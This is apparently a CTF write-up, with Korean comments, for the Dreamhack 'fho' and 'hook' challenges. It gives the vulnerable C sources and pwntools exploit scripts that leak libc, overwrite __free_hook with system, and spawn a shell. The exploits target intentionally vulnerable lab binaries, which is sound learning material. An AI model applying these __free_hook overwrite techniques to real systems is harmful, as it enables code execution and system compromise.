[dreamhack] fho, hook

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <unistd.h>
 4
 5int main() {
 6  char buf[0x30];
 7  unsigned long long *addr;
 8  unsigned long long value;
 9
10  setvbuf(stdin, 0, _IONBF, 0);
11  setvbuf(stdout, 0, _IONBF, 0);
12
13  puts("[1] Stack buffer overflow");
14  printf("Buf: ");
15  read(0, buf, 0x100);
16  printf("Buf: %s\n", buf);
17
18  puts("[2] Arbitary-Address-Write");
19  printf("To write: ");
20  scanf("%llu", &addr);
21  printf("With: ");
22  scanf("%llu", &value);
23  printf("[%p] = %llu\n", addr, value);
24  *addr = value;
25
26  puts("[3] Arbitrary-Address-Free");
27  printf("To free: ");
28  scanf("%llu", &addr);
29  free(addr);
30
31  return 0;
32}

 1p.recvuntil(b'\nBuf: ')
 2p.sendline(b'A'*0x47)
 3p.recvuntil(b'AAAA\n')
 4
 5### 주의할점은 printf로 %s 가 출력된 값이기 때문에 \x00은 짤리게된다.
 6main_ret_addr = u64(p.recv(0x6) + b'\x00\x00')
 7
 8# __libc_start_main이 libc의 함수이기 때문에 libc의 base_addr이 된다. 
 9base_addr = main_ret_addr - el.symbols['__libc_start_main'] - 243
10# 또는 base_addr = main_ret_addr - el.libc_start_main_return (예약어인듯)
11free_hook_addr = base_addr + el.symbols['__free_hook']
12system_addr = base_addr + el.symbols['system']
13binsh_addr = base_addr + next(el.search(b'/bin/sh'))
14
15### 이후 과정은 그냥 원하는 메모리 주소를 전달하는 것 밖에 없다. 
16p.recvuntil(b'To write: ')
17# scanf로 입력받기 때문에 sendline을 사용해야 한다. 
18p.sendline(str(free_hook_addr).encode())
19p.recvuntil(b'With: ')
20p.sendline(str(system_addr).encode())
21p.recvuntil('To free: ')
22p.sendline(str(binsh_addr).encode())
23
24p.interactive()

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <signal.h>
 4#include <unistd.h>
 5
 6void alarm_handler() {
 7    puts("TIME OUT");
 8    exit(-1);
 9}
10
11void initialize() {
12    setvbuf(stdin, NULL, _IONBF, 0);
13    setvbuf(stdout, NULL, _IONBF, 0);
14    signal(SIGALRM, alarm_handler);
15    alarm(60);
16}
17
18int main(int argc, char *argv[]) {
19    long *ptr;
20    size_t size;
21
22    initialize();
23
24    printf("stdout: %p\n", stdout);
25
26    printf("Size: ");
27    scanf("%ld", &size);
28
29    ptr = malloc(size);
30
31    printf("Data: ");
32    read(0, ptr, size);
33
34    *(long *)*ptr = *(ptr+1);
35
36    free(ptr);
37    free(ptr);
38
39    system("/bin/sh");
40    return 0;
41}

 1p.recvuntil(b'stdout: ')
 2msg = p.recvline()
 3stdout_addr = int(msg[:-1], 16)
 4print(hex(stdout_addr))
 5
 6base_addr = stdout_addr - el.symbols['_IO_2_1_stdout_']
 7
 8free_hook_addr = base_addr + el.symbols['__free_hook']
 9system_addr = 0x400a11
10
11print(p.recvuntil(b'Size: '))
12p.sendline(str(0x10).encode())
13
14print(p.recvuntil(b'Data: '))
15
16payload = p64(free_hook_addr) + p64(system_addr)
17
18p.send(payload)
19
20p.interactive()